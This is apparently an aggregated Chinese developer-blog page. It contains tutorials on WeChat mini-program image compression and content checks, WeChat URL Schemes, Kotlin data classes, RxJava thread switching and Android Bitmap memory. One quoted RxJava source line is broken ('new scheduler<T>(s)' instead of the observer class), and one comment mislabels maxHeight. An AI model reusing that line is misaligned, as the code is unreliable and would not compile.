<i class="iconfont icon-image"></i>
<text class="title">图片</text>
<text class="sub-title">图片仅供本地使用</text>
</view>
//
// canvas
//
<canvas
type="2d"
id="canvas_compress"
class="canvas-compress"
style="width:
{{canvasCompress.width}}px; height: {{canvasCompress.height}}px"
/>

</view>
</template>

将canvas移到视野不可见到位置

.canvas-compress
position absolute
left 0
top 1000px

图片进行压缩处理

/**
* 压缩图片
* 将尺寸超过规范的图片最小限度压缩
* @param {Image} image 需要压缩的图片实例
* @param {String} canvasId 用来处理压缩图片的canvas对应的canvasId
* @param {Object} config 压缩的图片规范 -> { maxWidth 最大宽度, maxHeight 最小宽度 }
* @return {Promise} promise返回 压缩后的 图片路径
*/
export default function (image, canvasId, config = { maxWidth: 750, maxHeight: 1334 }) {
// 引用的组件传入的this作用域
const _this = this
return new Promise((resolve, reject) => {
// 获取图片原始宽高
let width = image.width
let height = image.height
// 宽度 > 最大限宽 -> 重置尺寸
if (width > config.maxWidth) {
const ratio = width / config.maxWidth
width = config.maxWidth
height = height / ratio
}
// 高度 > 最大限高度 -> 重置尺寸
if (height > config.maxHeight) {
const ratio = height / config.maxHeight
height = config.maxHeight
width = width / ratio
}
// 设置canvas的css宽高
_this.canvasCompress.width = width
_this.canvasCompress.height = height
const query = this.createSelectorQuery()
query
.select(`#${canvasId}`)
.fields({ node: true, size: true })
.exec(async res => {
// 获取 canvas 实例
const canvas = res[0].node
// 获取 canvas 绘图上下文
const ctx = canvas.getContext('2d')
// 根据设备dpr处理尺寸
const dpr = wx.getSystemInfoSync().pixelRatio
canvas.width = width * dpr
canvas.height = height * dpr
ctx.scale(dpr, dpr)
// 将图片绘制到 canvas
ctx.drawImage(image, 0, 0, width, height)
// 将canvas图片上传到微信临时文件
wx.canvasToTempFilePath({
canvas,
x: 0,
y: 0,
destWidth: width,
destHeight: height,
complete (res) {
if (res.errMsg === 'canvasToTempFilePath:ok') {
// 返回临时文件路径
resolve(res.tempFilePath)
}
},
fail(err) {
reject(err)
}
})
})
})
}

图片安全校验

云函数 checkImage.js

const cloud = require('wx-server-sdk')
cloud.init({
env: cloud.DYNAMIC_CURRENT_ENV
})
/**
* 校验图片合法性
* @param {*} event.fileID 微信云存储的图片ID
* @return {Number} 0:校验失败;1:校验通过
*/
exports.main = async (event, context) => {
const contentType = 'image/png'
const fileID = event.fileID
try {
// 根据fileID下载图片
const file = await cloud.downloadFile({
fileID
})
const value = file.fileContent
// 调用 imgSecCheck 借口,校验不通过接口会抛错
// 必要参数 media { contentType, value }
const result = await cloud.openapi.security.imgSecCheck({
media: {
contentType,
value
}
})
return 1
} catch (err) {
return 0
}
}

组件调用云函数封装

/**
* 校验图片是否存在敏感信息
* @param { String } filePath
* @return { Promise } promise返回校验结果
*/
export default function (filePath) {
return new Promise((resolve, reject) => {
// 先将图片上传到云开发存储
wx.cloud.uploadFile({
cloudPath: `${new Date().getTime()}.png`,
filePath,
success (res) {
// 调用云函数-checkImage
wx.cloud.callFunction({
name: 'checkImage',
data: {
fileID: res.fileID
},
success (res) {
// res.result -> 0:存在敏感信息;1:校验通过
resolve(res.result)
if (!res.result) {
wx.showToast({
title: '图片可能含有敏感信息, 请重新选择',
icon: 'none'
})
}
},
fail (err) {
reject(err)
}
})
},
fail (err) {
reject(err)
}
})
})
}

原文链接:https://segmentfault.com/a/1190000038685508


收起阅读 »

小程序的「获取URL Scheme」能力

最近,微信小程序更新了一项新的能力:「获取URL Scheme」,这是一项非常有用的功能,你可以借助他,在微信生态中实现各种有意思的营销方式。什么是 URL Scheme微信提供了一个接口,可以生成如 weixin://dl/business/?t=...
继续阅读 »

最近,微信小程序更新了一项新的能力:「获取URL Scheme」,这是一项非常有用的功能,你可以借助他,在微信生态中实现各种有意思的营销方式。

什么是 URL Scheme

微信提供了一个接口,可以生成如 weixin://dl/business/?t= *TICKET* 的 URL Scheme。你可以在系统自带的浏览器,比如 Safari 中访问这个地址,自动跳转到你自己的微信小程序中。

URL Scheme 能实现什么?

URL Scheme 的用途最大自然是各种营销用途,比如短信营销。不过,如果我们发散思维,就可以知道,URL Scheme 可以有更多的用途。

URL Scheme 在 iOS 系统应用中是比较多的,不少 iOS 的 Power User 都会借助 URL Scheme 来自定义自己的手机中的一些操作,实现特别的操作。我们可以参考 iOS 的 Power User 的用法,理解微信的 URL Scheme 的用法

  • 通过快捷指令来打开特定的 App
  • 在浏览器中嵌入 URL Scheme 来打开应用的特定页面。

如果我们将这些能力迁移到微信生态中,就可以发现,这里我们同样可以实现:

  • 在公众号网页中嵌入 URL Scheme ,从而实现公众号内网页与小程序无缝链接
  • 在短信中嵌入 URL Scheme ,从而实现短信营销,轻松的与自己的产品整合
  • 根据 URL Scheme ,生成一些特殊的二维码,嵌入在图片中

不仅如此,因为目前微信的安装率远高于普通 App,因此,你在进行营销的时候,就再也无需担心用户没有安装自己的 App,大可以先让用户进入到小程序,成为用户后,再引导用户下载 App,提升产品体验

URL Scheme 的劣势

虽然很好,不过 URL Scheme 目前还有一些问题,比如只限于国内非个人主体小程序,对于个人开发者来说就无法使用了。

总结

URL Scheme 的开放,对于微信生态来说,是一个很有力的工具,开发者可以借助与 URL Scheme 来完成自己在微信生态中的推广。在未来,我们可以看到,越来越多的开发者借助于 URL Scheme ,来实现一些很有意思的营销方式。

让我们拭目以待。

原文链接:https://segmentfault.com/a/1190000038919562


收起阅读 »

Kotlin Vocabulary | 数据类

一只小奶狗会有名字、品种以及一堆可爱的特点作为其属性。如果将其建模为一个类,并且只用来保存这些属性数据,那么您应当使用数据类。在使用数据类时,编译器会为您自动生成 toString()、equals() 与 hashCode() 函数,并提供开箱即用的 解构 ...
继续阅读 »

一只小奶狗会有名字、品种以及一堆可爱的特点作为其属性。如果将其建模为一个类,并且只用来保存这些属性数据,那么您应当使用数据类。在使用数据类时,编译器会为您自动生成 toString()equals()hashCode() 函数,并提供开箱即用的 解构 与拷贝功能,从而帮您简化工作,使您可以专注于那些需要展示的数据。接下来本文将会带您了解数据类的其他好处、限制以及其实现的内部原理。


用法概览


声明一个数据类,需要使用 data 修饰符并在其构造函数中以 val 或 var 参数的形式指定其属性。您可以为数据类的构造函数提供默认参数,就像其他函数与构造函数一样;您也可以直接访问和修改属性,以及在类中定义函数。


但相比于普通类,您可以获得以下几个好处:



  • Kotlin 编译器已为您默认实现了 toString()equals()hashCode() 函数 ,从而避免了一系列人工操作可能造成的小错误,例如: 忘记在每次新增或更新属性后更新这些函数、实现 hashCode 时出现逻辑错误,或是在实现 equals 后忘记实现 hashCode 等;

  • 解构;

  • 通过 copy() 函数轻松进行拷贝。


/* Copyright 2020 Google LLC.  
SPDX-License-Identifier: Apache-2.0 */

data class Puppy(
val name: String,
val breed: String,
var cuteness: Int = 11
)

// 创建新的实例
val tofuPuppy = Puppy(name = "Tofu", breed = "Corgi", cuteness = Int.MAX_VALUE)
val tacoPuppy = Puppy(name = "Taco", breed = "Cockapoo")

// 访问和修改属性
val breed = tofuPuppy.breed
tofuPuppy.cuteness++

// 解构
val (name, breed, cuteness) = tofuPuppy
println(name) // prints: "Tofu"

// 拷贝:使用与 tofuPuppy 相同的品种和可爱度创建一个小狗,但名字不同
val tacoPuppy = tofuPuppy.copy(name = "Taco")

限制


数据类有着一系列的限制。


构造函数参数


数据类是作为数据持有者被创建的。为了强制执行这一角色,您必须至少传入一个参数到它的主构造函数,而且参数必须是 val 或 var 属性。尝试添加不带 val 或 var 的参数将会导致编译错误。


作为最佳实践,请考虑使用 val 而不是 var,来提升不可变性,否则可能会出现一些细微的问题。如使用数据类作为 HashMap 对象的键时,容器可能会因为其 var 值的改变而获取出无效的结果。


同样,尝试在主构造函数中添加 vararg 参数也会导致编译错误:


/* Copyright 2020 Google LLC.  
SPDX-License-Identifier: Apache-2.0 */

data class Puppy constructor(
val name: String,
val breed: String,
var cuteness: Int = 11,
// 错误:数据类的的主构造函数中只能包含属性 (val 或 var) 参数
playful: Boolean,
// 错误:数据类型的主构造函数已禁用 vararg 参数
vararg friends: Puppy
)

vararg 不被允许是由于 JVM 中数组和集合的 equals() 的实现方法不同。Andrey Breslav 的解释是:



集合的 equals() 进行的是结构化比较,而数组不是,数组使用 equals() 等效于判断其引用是否相等: this === other。


*阅读更多: blog.jetbrains.com/kotlin/2015…



继承


数据类可以继承于接口、抽象类或者普通类,但是不能继承其他数据类。数据类也不能被标记为 open。添加 open 修饰符会导致错误: Modifier ‘open’ is incompatible with ‘data’ (‘open’ 修饰符不兼容 ‘data’)


内部实现


为了理解这些功能为何能够实现,我们来检查下 Kotlin 究竟生成了什么。为了做到这点,我们需要查看反编译后的 Java 代码: Tools -> Kotlin -> Show Kotlin Bytecode,然后点击 Decompile 按钮。


属性


就像普通的类一样,Puppy 是一个公共 final 类,包含了我们定义的属性以及它们的 getter 和 setter:


/* Copyright 2020 Google LLC.  
SPDX-License-Identifier: Apache-2.0 */

public final class Puppy {
@NotNull
private final String name;
@NotNull
private final String breed;
private int cuteness;

@NotNull
public final String getName() {
return this.name;
}

@NotNull
public final String getBreed() {
return this.breed;
}

public final int getCuteness() {
return this.cuteness;
}

public final void setCuteness(int var1) {
this.cuteness = var1;
}
...
}
复制代码

构造函数


我们定义的构造函数是由编译器生成的。由于我们在构造函数中使用了默认参数,所以我们也得到了第二个合成构造函数。


/* Copyright 2020 Google LLC.  
SPDX-License-Identifier: Apache-2.0 */

public Puppy(@NotNull String name, @NotNull String breed, int cuteness) {
...
this.name = name;
this.breed = breed;
this.cuteness = cuteness;
}

// $FF: synthetic method
public Puppy(String var1, String var2, int var3, int var4, DefaultConstructorMarker var5) {
if ((var4 & 4) != 0) {
var3 = 11;
}

this(var1, var2, var3);
}
...
}
复制代码

toString()、hashCode() 和 equals()


Kotlin 会为您生成 toString()hashCode()equals() 方法。当您修改了数据类或更新了属性之后,也能自动为您更新为正确的实现。就像下面这样,hashCode()equals() 总是需要同步。在 Puppy 类中它们如下所示:


/* Copyright 2020 Google LLC.  
SPDX-License-Identifier: Apache-2.0 */

...
@NotNull
public String toString() {
return "Puppy(name=" + this.name + ", breed=" + this.breed + ", cuteness=" + this.cuteness + ")";
}

public int hashCode() {
String var10000 = this.name;
int var1 = (var10000 != null ? var10000.hashCode() : 0) * 31;
String var10001 = this.breed;
return (var1 + (var10001 != null ? var10001.hashCode() : 0)) * 31 + this.cuteness;
}

public boolean equals(@Nullable Object var1) {
if (this != var1) {
if (var1 instanceof Puppy) {
Puppy var2 = (Puppy)var1;
if (Intrinsics.areEqual(this.name, var2.name) && Intrinsics.areEqual(this.breed, var2.breed) && this.cuteness == var2.cuteness) {
return true;
}
}

return false;
} else {
return true;
}
}
...


toStringhashCode 函数的实现很直接,跟一般您所实现的类似,而 equals 使用了 Intrinsics.areEqual 以实现结构化比较:


public static boolean areEqual(Object first, Object second) {
return first == null ? second == null : first.equals(second);
}
复制代码

通过使用方法调用而不是直接实现,Kotlin 语言的开发者可以获得更多的灵活性。如果有需要,他们可以在未来的语言版本中修改 areEqual 函数的实现。


Component


为了实现解构,数据类生成了一系列只返回一个字段的 componentN() 方法。component 的数量取决于构造函数参数的数量:


/* Copyright 2020 Google LLC.  
SPDX-License-Identifier: Apache-2.0 */
...
@NotNull
public final String component1() {
return this.name;
}

@NotNull
public final String component2() {
return this.breed;
}

public final int component3() {
return this.cuteness;
}
...
您可以通过阅读我们之前的 Kotlin Vocabulary 文章 来了解更多有关解构的内容。

拷贝


数据类会生成一个用于创建新对象实例的 copy() 方法,它可以保持任意数量的原对象属性值。您可以认为 copy() 是个含有所有数据对象字段作为参数的函数,它同时用原对象的字段值作为方法参数的默认值。知道了这一点,您就可以理解 Kotlin 为什么会创建两个 copy() 函数: copycopy$default。后者是一个合成方法,用来保证参数没有传值时,可以正确地使用原对象的值:


/* Copyright 2020 Google LLC.  
SPDX-License-Identifier: Apache-2.0 */
...
@NotNull
public final Puppy copy(@NotNull String name, @NotNull String breed, int cuteness) {
Intrinsics.checkNotNullParameter(name, "name");
Intrinsics.checkNotNullParameter(breed, "breed");
return new Puppy(name, breed, cuteness);
}

// $FF: synthetic method
public static Puppy copy$default(Puppy var0, String var1, String var2, int var3, int var4, Object var5) {
if ((var4 & 1) != 0) {
var1 = var0.name;
}

if ((var4 & 2) != 0) {
var2 = var0.breed;
}

if ((var4 & 4) != 0) {
var3 = var0.cuteness;
}

return var0.copy(var1, var2, var3);
}
...总结

数据类是 Kotlin 中最常用的功能之一,原因也很简单 —— 它减少了您需要编写的模板代码、提供了诸如解构和拷贝对象这样的功能,从而让您可以专注于重要的事: 您的应用。


作者:Android_开发者
链接:https://juejin.cn/post/6951587402041442317
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Rxjava 线程切换原理

前言 rxjava 可以很方便的进行线程切换, 那么rxjava是如何进行线程切换的呢?阅读本文可以了解下rxjava 是如何进行线程切换的及线程切换的影响点。 一个简单的代码: Observable.create(new ObservableOnSubsc...
继续阅读 »

前言


rxjava 可以很方便的进行线程切换, 那么rxjava是如何进行线程切换的呢?阅读本文可以了解下rxjava 是如何进行线程切换的及线程切换的影响点。




一个简单的代码:


Observable.create(new ObservableOnSubscribe<String>() {
@Override
public void subscribe(ObservableEmitter<String> e) throws Exception {
Log.d("WanRxjava ", "subscrib td ==" + Thread.currentThread().getName());
e.onNext("我在发送next");
e.onComplete();
}
}).subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(new Observer<String>() {
@Override
public void onSubscribe(Disposable d) {
Log.d("WanRxjava ", "onSubscribe td ==" + Thread.currentThread().getName());
}

@Override
public void onNext(String value) {
Log.d("WanRxjava ", "onNext td ==" + Thread.currentThread().getName());
}

@Override
public void onError(Throwable e) {

}

@Override
public void onComplete() {
Log.d("WanRxjava ", "onComplete td ==" + Thread.currentThread().getName());
}
});

如上代码,实现了线程切换和观察者被观察者绑定的逻辑。我们分四部分看上述代码逻辑create、subscribeOn、observeOn、subscribe


1.create

create 顾名思议是 创建被观察者,这里有一个参数是 ObservableOnSubscribe,这是个接口类,我们看下create 的源码:


@SchedulerSupport(SchedulerSupport.NONE)
public static <T> Observable<T> create(ObservableOnSubscribe<T> source) {
ObjectHelper.requireNonNull(source, "source is null");
return RxJavaPlugins.onAssembly(new ObservableCreate<T>(source));
}



将ObservableOnSubscribe 传入后 又调用了 new ObservableCreate(source)


public final class ObservableCreate<T> extends Observable<T> {
final ObservableOnSubscribe<T> source;

public ObservableCreate(ObservableOnSubscribe<T> source) {
this.source = source;
}
}


ObservableCreate 有一个变量是 source,这里只是将传入的ObservableOnSubscribe 赋值给source,也就是做了一层包装,然后返回。


2.subscribeOn

调用完create后返回了 ObservableCreate(Observable),然后继续调用subscribeOn,传入了一个变量 Schedulers.io()


@SchedulerSupport(SchedulerSupport.CUSTOM)
public final Observable<T> subscribeOn(Scheduler scheduler) {
ObjectHelper.requireNonNull(scheduler, "scheduler is null");
return RxJavaPlugins.onAssembly(new ObservableSubscribeOn<T>(this, scheduler));
}


我们看到调用了new ObservableSubscribeOn(this, scheduler) 将自身和 scheduler 传入


public final class ObservableSubscribeOn<T> extends AbstractObservableWithUpstream<T, T> {
final Scheduler scheduler;

public ObservableSubscribeOn(ObservableSource<T> source, Scheduler scheduler) {
super(source);
this.scheduler = scheduler;
}
}


ObservableSubscribeOn 将scheduler 和 create 返回的对象又包装了一层 返回ObservableSubscribeOn


3.observeOn

有一个参数是 Scheduler


@SchedulerSupport(SchedulerSupport.CUSTOM)
public final Observable<T> observeOn(Scheduler scheduler) {
return observeOn(scheduler, false, bufferSize());
}
@SchedulerSupport(SchedulerSupport.CUSTOM)
public final Observable<T> observeOn(Scheduler scheduler, boolean delayError, int bufferSize) {
ObjectHelper.requireNonNull(scheduler, "scheduler is null");
ObjectHelper.verifyPositive(bufferSize, "bufferSize");
return RxJavaPlugins.onAssembly(new ObservableObserveOn<T>(this, scheduler, delayError, bufferSize));
}


ObservableSubscribeOn(observable)又调用了observeOn,然后调用了new ObservableObserveOn(this, scheduler, delayError, bufferSize)


public final class ObservableObserveOn<T> extends AbstractObservableWithUpstream<T, T> {
final Scheduler scheduler;
final boolean delayError;
final int bufferSize;
public ObservableObserveOn(ObservableSource<T> source, Scheduler scheduler, boolean delayError, int bufferSize) {
super(source);
this.scheduler = scheduler;
this.delayError = delayError;
this.bufferSize = bufferSize;
}
}


又是一个包装,将ObservableSubscribeOn 和 scheduler 包装成 ObservableObserveOn


4.subscribe

上述最后一步即调用ObservableObserveOn.subscribe,传入参数是一个 observer


//ObservableObserveOn.java
@SchedulerSupport(SchedulerSupport.NONE)
@Override
public final void subscribe(Observer<? super T> observer) {
ObjectHelper.requireNonNull(observer, "observer is null");
try {
observer = RxJavaPlugins.onSubscribe(this, observer);

ObjectHelper.requireNonNull(observer, "Plugin returned null Observer");

subscribeActual(observer);
} catch (NullPointerException e) { // NOPMD
throw e;
} catch (Throwable e) {
Exceptions.throwIfFatal(e);
// can't call onError because no way to know if a Disposable has been set or not
// can't call onSubscribe because the call might have set a Subscription already
RxJavaPlugins.onError(e);

NullPointerException npe = new NullPointerException("Actually not, but can't throw other exceptions due to RS");
npe.initCause(e);
throw npe;
}
}


可以看到调用subscribe 后调用了subscribeActual(observer);将observer 传入


我们看下 subscribeActual(observer)


//ObservableObserveOn.java
@Override
protected void subscribeActual(Observer<? super T> observer) {
if (scheduler instanceof TrampolineScheduler) {
source.subscribe(observer);
} else {
Scheduler.Worker w = scheduler.createWorker();

source.subscribe(new ObserveOnObserver<T>(observer, w, delayError, bufferSize));
}
}


上面的if 先不管,主要看下下面的逻辑,调用了 scheduler.createWorker(),这个scheduler 是 observeOn 传入的,然后调用


new ObserveOnObserver(observer, w, delayError, bufferSize);将worker /observer 又做了一次包装。


//ObservableObserveOn 内部类
static final class ObserveOnObserver<T> extends BasicIntQueueDisposable<T>
implements Observer<T>, Runnable {

private static final long serialVersionUID = 6576896619930983584L;
final Observer<? super T> actual;
final Scheduler.Worker worker;
final boolean delayError;
final int bufferSize;

SimpleQueue<T> queue;

Disposable s;

Throwable error;
volatile boolean done;

volatile boolean cancelled;

int sourceMode;

boolean outputFused;

ObserveOnObserver(Observer<? super T> actual, Scheduler.Worker worker, boolean delayError, int bufferSize) {
this.actual = actual;
this.worker = worker;
this.delayError = delayError;
this.bufferSize = bufferSize;
}

@Override
public void onSubscribe(Disposable s) {
if (DisposableHelper.validate(this.s, s)) {
this.s = s;
if (s instanceof QueueDisposable) {
@SuppressWarnings("unchecked")
QueueDisposable<T> qd = (QueueDisposable<T>) s;

int m = qd.requestFusion(QueueDisposable.ANY | QueueDisposable.BOUNDARY);

if (m == QueueDisposable.SYNC) {
sourceMode = m;
queue = qd;
done = true;
actual.onSubscribe(this);
schedule();
return;
}
if (m == QueueDisposable.ASYNC) {
sourceMode = m;
queue = qd;
actual.onSubscribe(this);
return;
}
}

queue = new SpscLinkedArrayQueue<T>(bufferSize);

actual.onSubscribe(this);
}
}

@Override
public void onNext(T t) {
if (done) {
return;
}

if (sourceMode != QueueDisposable.ASYNC) {
queue.offer(t);
}
schedule();
}

@Override
public void onError(Throwable t) {
if (done) {
RxJavaPlugins.onError(t);
return;
}
error = t;
done = true;
schedule();
}

@Override
public void onComplete() {
if (done) {
return;
}
done = true;
schedule();
}

@Override
public void dispose() {
if (!cancelled) {
cancelled = true;
s.dispose();
worker.dispose();
if (getAndIncrement() == 0) {
queue.clear();
}
}
}

@Override
public boolean isDisposed() {
return cancelled;
}

void schedule() {
if (getAndIncrement() == 0) {
worker.schedule(this);
}
}

void drainNormal() {
int missed = 1;

final SimpleQueue<T> q = queue;
final Observer<? super T> a = actual;

for (;;) {
if (checkTerminated(done, q.isEmpty(), a)) {
return;
}

for (;;) {
boolean d = done;
T v;

try {
v = q.poll();
} catch (Throwable ex) {
Exceptions.throwIfFatal(ex);
s.dispose();
q.clear();
a.onError(ex);
return;
}
boolean empty = v == null;

if (checkTerminated(d, empty, a)) {
return;
}

if (empty) {
break;
}

a.onNext(v);
}

missed = addAndGet(-missed);
if (missed == 0) {
break;
}
}
}

void drainFused() {
int missed = 1;

for (;;) {
if (cancelled) {
return;
}

boolean d = done;
Throwable ex = error;

if (!delayError && d && ex != null) {
actual.onError(error);
worker.dispose();
return;
}

actual.onNext(null);

if (d) {
ex = error;
if (ex != null) {
actual.onError(ex);
} else {
actual.onComplete();
}
worker.dispose();
return;
}

missed = addAndGet(-missed);
if (missed == 0) {
break;
}
}
}

@Override
public void run() {
if (outputFused) {
drainFused();
} else {
drainNormal();
}
}

boolean checkTerminated(boolean d, boolean empty, Observer<? super T> a) {
if (cancelled) {
queue.clear();
return true;
}
if (d) {
Throwable e = error;
if (delayError) {
if (empty) {
if (e != null) {
a.onError(e);
} else {
a.onComplete();
}
worker.dispose();
return true;
}
} else {
if (e != null) {
queue.clear();
a.onError(e);
worker.dispose();
return true;
} else
if (empty) {
a.onComplete();
worker.dispose();
return true;
}
}
}
return false;
}

@Override
public int requestFusion(int mode) {
if ((mode & ASYNC) != 0) {
outputFused = true;
return ASYNC;
}
return NONE;
}

@Override
public T poll() throws Exception {
return queue.poll();
}

@Override
public void clear() {
queue.clear();
}

@Override
public boolean isEmpty() {
return queue.isEmpty();
}
}


包装完ObserveOnObserver后,调用了source.subscribe 这里的source 即ObservableSubscribeOn.subscribe,进而调用ObservableSubscribeOn.subscribeActual


//ObservableSubscribeOn.java
@Override
public void subscribeActual(final Observer<? super T> s) {
final SubscribeOnObserver<T> parent = new scheduler<T>(s);

s.onSubscribe(parent);

parent.setDisposable(scheduler.scheduleDirect(new Runnable() {
@Override
public void run() {
source.subscribe(parent);
}
}));
}

static final class SubscribeOnObserver<T> extends AtomicReference<Disposable> implements Observer<T>, Disposable {

private static final long serialVersionUID = 8094547886072529208L;
final Observer<? super T> actual;

final AtomicReference<Disposable> s;

SubscribeOnObserver(Observer<? super T> actual) {
this.actual = actual;
this.s = new AtomicReference<Disposable>();
}

@Override
public void onSubscribe(Disposable s) {
DisposableHelper.setOnce(this.s, s);
}

@Override
public void onNext(T t) {
actual.onNext(t);
}

@Override
public void onError(Throwable t) {
actual.onError(t);
}

@Override
public void onComplete() {
actual.onComplete();
}

@Override
public void dispose() {
DisposableHelper.dispose(s);
DisposableHelper.dispose(this);
}

@Override
public boolean isDisposed() {
return DisposableHelper.isDisposed(get());
}

void setDisposable(Disposable d) {
DisposableHelper.setOnce(this, d);
}
}


ObservableSubscribeOn.subscribeActual


首先将传入的观察者封装成 SubscribeOnObserver

然后触发了 onSubscribe,接着调用 scheduler.scheduleDirect(new Runnable() 这里的scheduler 是 subscribeOn 传入的

最后调用了 scheduler.setsetDisposable方法。

我们看到 run 的方法体即source.subscribe(parent);这里的source 即 ObservableCreate(ObservableOnSubscribe),传入了observer,然后调用 observer的OnNext 和 OnComplete 方法。


5.小结:

a. 调用Observer.OnSubscribe 方法是 不受线程调度影响的

b.subscribeOn 影响的是发送事件的线程

c.observerOn 影响的是观察者处理接受数据的线程,如果没有调用observeOn 则不会进行包装成 ObserveOnObserver,也就是说不会执行观察者的线程切换,和 发送者的线程一致

d.多次调用subscribeOn切换线程,每次都会new ObservableSubscribeOn,触发事件发送时会往上调用,也就是第一次调用的subscribeOn传入的线程 会执行发送事件,后面的线程切换无效

e.Observer.OnSubscribe 只会执行一次,因为调用DisposableHelper.setOnce(this.s, s)

f.处理完onComplete 或者onError 后就不会再发出事件,因为被观察者发送完这两个事件后 就会调用disposed


作者:YDG
链接:https://juejin.cn/post/6952831553349091358
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

收起阅读 »

聊聊 Bitmap 的一些知识点

Bitmap 应该是很多应用中最占据内存空间的一类资源了,Bitmap 也是导致应用 OOM 的常见原因之一。例如,Pixel 手机的相机拍摄的照片最大可达 4048 * 3036 像素(1200 万像素),如果使用的位图配置为 ARGB_8888(Andro...
继续阅读 »

Bitmap 应该是很多应用中最占据内存空间的一类资源了,Bitmap 也是导致应用 OOM 的常见原因之一。例如,Pixel 手机的相机拍摄的照片最大可达 4048 * 3036 像素(1200 万像素),如果使用的位图配置为 ARGB_8888(Android 2.3 及更高版本的默认设置),将单张照片加载到内存大约需要 48MB 内存(4048 * 3036 * 4 字节),如此庞大的内存需求可能会立即耗尽应用的所有可用内存


本篇文章就来讲下 Bitmap 一些比较有用的知识点,希望对你有所帮助 😇😇


全文可以概括为以下几个问题:



  1. Bitmap 所占内存大小的计算公式?

  2. Bitmap 所占内存大小和所在的 drawable 文件夹的关系?

  3. Bitmap 所占内存大小和 ImageView 的宽高的关系?

  4. Bitmap 如何减少内存大小?


1、预备知识


在开始讲关于 Bitmap 的知识点前,需要先阐述一些基础概念作为预备知识


我们知道,在不同手机屏幕上 1dp 所对应的 px 值可能是会有很大差异的。例如,在小屏幕手机上 1dp 可能对应 1px,在大屏幕手机上对应的可能是 3px,这也是我们的应用实现屏幕适配的原理基础之一


想要知道在特定一台手机上 1dp 对应多少 px,或者是想要知道屏幕宽高大小,这些信息都可以通过 DisplayMetrics 来获取


val displayMetrics = applicationContext.resources.displayMetrics


打印出本文所使用的模拟器的 DisplayMetrics 信息:


DisplayMetrics{density=3.0, width=1080, height=1920, scaledDensity=3.0, xdpi=480.0, ydpi=480.0}


从中就可以提取出几点信息:



  1. density 等于 3,说明在该模拟器上 1dp 等于 3px

  2. 屏幕宽高大小为 1920 x 1080 px,即 640 x 360 dp

  3. 屏幕像素密度为 480dpi


dpi 是一个很重要的值,指的是在系统软件上指定的单位尺寸的像素数量,往往是写在系统出厂配置文件的一个固定值。Android 系统定义的屏幕像素密度基准值是 160dpi,该基准值下 1dp 就等于 1px,依此类推 320dpi 下 1dp 就等于 2px


dpi 决定了应用在显示 drawable 时是选择哪一个文件夹内的切图。每个 drawable 文件夹都对应不同的 dpi 大小,Android 系统会自动根据当前手机的实际 dpi 大小从合适的 drawable 文件夹内选取图片,不同的后缀名对应的 dpi 大小就如以下表格所示。如果 drawable 文件夹名不带后缀,那么该文件夹就对应 160dpi


对于本文所使用的模拟器来说,应用在选择图片时就会优先从 drawable-xxhdpi 文件夹拿,如果该文件夹内没找到图片,就会依照 xxxhdpi -> xhdpi -> hdpi -> mdpi -> ldpi 的顺序进行查找,优先使用高密度版本的图片资源


2、内存大小的计算公式


先将一张大小为 1920 x 1080 px 的图片保存到 drawable-xxhdpi 文件夹内,然后将其显示在一个宽高均为 180dp 的 ImageView 上,该 Bitmap 所占用的内存就通过 bitmap.byteCount来获取


    val options = BitmapFactory.Options()
val bitmap = BitmapFactory.decodeResource(resources, R.drawable.icon_awe, options)
imageView.setImageBitmap(bitmap)
log("imageView width: " + imageView.width)
log("imageView height: " + imageView.height)
log("bitmap width: " + bitmap.width)
log("bitmap height: " + bitmap.height)
log("bitmap config: " + bitmap.config)
log("inDensity: " + options.inDensity)
log("inTargetDensity: " + options.inTargetDensity)
log("bitmap byteCount: " + bitmap.byteCount)


BitmapMainActivity: imageView width: 540
BitmapMainActivity: imageView height: 540
BitmapMainActivity: bitmap width: 1920
BitmapMainActivity: bitmap height: 1080
BitmapMainActivity: bitmap config: ARGB_8888
BitmapMainActivity: inDensity: 480
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 8294400



  • 由于模拟器的 density 等于 3,所以 ImageView 的宽高都是 540 px

  • Bitmap 的宽高还是保持其原有大小,即1920 x 1080 px

  • ARGB_8888 代表的是该 Bitmap 的编码格式,该格式下一个像素点需要占用 4 byte

  • inDensity 代表的是系统最终选择的 drawable 文件夹类型,等于 480 说明取的是 drawable-xxhdpi文件夹下的图片

  • inTargetDensity 代表的是当前设备的 dpi

  • 8294400 就是 Bitmap 所占用的内存大小,单位是 byte


从最终结果可以很容易地就逆推出 Bitmap 所占内存大小的计算公式:bitmapWidth * bitmapHeight * 单位像素点所占用的字节数,即 1920 * 1080 * 4 = 8294400


此外,在 Android 2.3 版本之前,Bitmap 像素存储需要的内存是在 native 上分配的,并且生命周期不太可控,可能需要用户自己回收。2.3 - 7.1 之间,Bitmap 的像素存储在 Dalvik 的 Java 堆上,当然,4.4 之前的甚至能在匿名共享内存上分配(Fresco采用),而 8.0 之后的像素内存又重新回到 native 上去分配,不需要用户主动回收,8.0 之后图像资源的管理更加优秀,极大降低了 OOM


3、和 drawable 文件夹的关系


上面之所以很容易就逆推出了 Bitmap 所占内存大小的计算公式,是因为所有条件都被我故意设定为最优情况了,才使得计算过程这么简单。而实际上 Bitmap 所占内存大小和其所在的 drawable 文件夹是有很大关系的,虽然计算公式没变


现在的大部分应用为了达到最优的显示效果,会为应用准备多套切图放在不同的 drawable 文件夹下,而BitmapFactory.decodeResource 方法在解码 Bitmap 的时候,就会自动根据当前设备的 dpi 和 drawable 文件夹类型来判断是否需要对图片进行缩放显示


将图片从 drawable-xxhdpi迁移到 drawable-xhdpi文件夹,然后再打印日志信息


BitmapMainActivity: imageView width: 540
BitmapMainActivity: imageView height: 540
BitmapMainActivity: bitmap width: 2880
BitmapMainActivity: bitmap height: 1620
BitmapMainActivity: bitmap config: ARGB_8888
BitmapMainActivity: inDensity: 320
BitmapMainActivity: inTargetDensity: 480
BitmapMainActivity: bitmap byteCount: 18662400

可以看到,Bitmap 的宽高都发生了变化,inDensity 等于 320 也说明了选取的是drawable-xhdpi文件夹内的图片,Bitmap 所占内存居然增加了一倍多


